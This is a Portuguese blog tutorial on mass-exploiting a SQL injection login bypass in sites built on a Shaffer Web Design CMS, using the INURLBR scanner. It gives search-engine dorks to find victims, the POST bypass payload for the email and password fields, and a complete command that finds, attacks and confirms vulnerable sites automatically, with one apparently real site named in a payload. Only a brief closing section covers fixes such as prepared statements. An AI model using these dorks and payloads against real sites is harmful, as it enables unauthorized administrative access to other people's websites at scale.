Scanner INURLBR explorando via post
Autor: INURL Brasil | Publicado: 2015-08-20T01:38:00-03:00

(Bom dia, Boa tarde, Boa noite) rsrsrs, Quem vos escreve é googleINURL&nbsp; venho trazer uma forma diferente de exploração com scanner INURLBR usando request POST.







Até o momento a grande utilização do scanner é feito por meio de exploração via &nbsp;GET e validando valores de retorno, faremos o mesmo porem com comando voltados pro resquest POST.



Para tal tutorial vamos usar um exploit publicado no Exploit4arab

Exploit:

http://www.exploit4arab.net/exploits/1741&nbsp;-&nbsp;Exploit Author : GeNeRaL

Affected Webs/Versions : All


O XPL trata-se de explorar um falha SQLI do painel de acesso administrativo do site, CMS feito pela empresa Shafferwebdesign.

Dork:

intext:"by Shaffer Web Design" ext:php

intext:"Designed by Shaffer Web Design"&nbsp;

intext:"Website Development provided by Shaffer Web Design"


Acesso:&nbsp;
http://www.xx.com/admin.php



POC:
Request POST

http://www.xx.com/login.php?email='=' 'OR'&amp;password='=' 'OR'&amp;from_page=http://www.xx.us/&amp;Submit_Login=Login to My Account


Campos explorados com um simples Bypass:
email='=' 'OR'

password='=' 'OR'



Debug request:





1 - Enviamos o request Bypass para o arquivo login.php
2 - O servidor aceita o request e retorna código 302 &nbsp;http de redirecionamento.
3 - Somos redirecionados para pagina my_account.php do servidor.


Agora vamos montar comando para exploração via INURLBR.
Download:


https://github.com/googleinurl/SCANNER-INURLBR



Comando:

- Setar DORK de pesquisa:
Exemplo:


--dork Defines which dork the search engine will use.

&nbsp; &nbsp; &nbsp;Example: --dork {dork}

&nbsp; &nbsp; &nbsp;Usage: &nbsp; --dork 'site:.gov.br inurl:php? id'

&nbsp; &nbsp; &nbsp;- Using multiples dorks:

&nbsp; &nbsp; &nbsp;Example: --dork {[DORK]dork1[DORK]dork2[DORK]dork3}

&nbsp; &nbsp; &nbsp;Usage: &nbsp; --dork '[DORK]site:br[DORK]site:ar inurl:php[DORK]site:il inurl:asp'




Usando para exploração atual:

--dork 'intext:"by Shaffer Web Design" ext:php'


- Setar OUTPUT:

Exemplo:


-s &nbsp;Specify the output file where it will be saved the vulnerable URLs.

&nbsp; &nbsp; &nbsp;Example: &nbsp;-s {file}

&nbsp; &nbsp; &nbsp;Usage: &nbsp; &nbsp;-s your_file.txt




Usando para exploração atual:

-s tutorial.txt



- Setar&nbsp;ifredirect&nbsp;validação da URL redirecionamento:

Exemplo:


&nbsp;--ifredirect &nbsp;Return validation method post REDIRECT_URL

&nbsp; &nbsp; &nbsp;Example: --ifredirect {string_validation}

&nbsp; &nbsp; &nbsp;Usage: &nbsp; --ifredirect '/admin/painel.php'




Usando para exploração atual:

--ifredirect&nbsp;'my_account.php'



- Setar string&nbsp;que será concatenada junto ao host, para isso usamos o exploit-get:

Exemplo:


&nbsp;--exploit-get Defines which exploit will be injected through the GET method to each URL found.

&nbsp; &nbsp; &nbsp;Example: --exploit-get {exploit_get}

&nbsp; &nbsp; &nbsp;Usage: &nbsp; --exploit-get "?'´%270x27;"





Usando para exploração atual:

--exploit-get&nbsp;'/login.php'


Ai fica a pergunta, mas por quê ? eu uso exploit-get em algo que é explorado via post ?
R: O comando exploit-get do script inurlbr é tratado mais como um concatenador de string adicionado no final de cada alvo depois executado, por esse motivo é possível usar ele sem altera o Request total.

- Setar request Bypass POST
Exemplo:
&nbsp;--exploit-post Defines which exploit will be injected through the POST method to each URL found.
&nbsp; &nbsp; &nbsp;Example: --exploit-post {exploit_post}
&nbsp; &nbsp; &nbsp;Usage: &nbsp; --exploit-post 'field1=valor1&amp;field2=valor2&amp;field3=?´0x273exploit;&amp;botao=ok'


Usando para exploração atual:
--exploit-post "email='=' 'OR'&amp;password='=' 'OR'&amp;from_page=http://www.theultimaterose.com/&amp;Submit_Login=Login to My Account"

Comando completo:
php inurlbr.php&nbsp;--dork 'intext:"by Shaffer Web Design" ext:php'&nbsp;-s tutorial.txt --ifredirect 'my_account.php' --exploit-get '/login.php' --exploit-post "email='=' 'OR'&amp;password='=' 'OR'&amp;from_page=http://www.xx.com/&amp;Submit_Login=Login to My Account"

Exemplo de Saída vulnerável:


OBS: Exemplo do print usei comando -o para abrir um arquivo com alvo.

Solução ?


Sempre filtre o que vem do cliente.
Não confie em dados que vem do cliente.
Filtre todo request seja get ou post $_REQUEST.
Use PDO sem moderação Prepared Statements é o poder.
Use filtros nativos do PHP&nbsp;filter_var


Referencia para soluções e estudos:
http://php.net/manual/pt_BR/security.database.sql-injection.php
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
http://php.net/manual/en/pdo.prepared-statements.php
http://us3.php.net/manual/en/filter.filters.validate.php
https://www.owasp.org/images/5/57/OWASP-AppSecEU08-Janot.pdf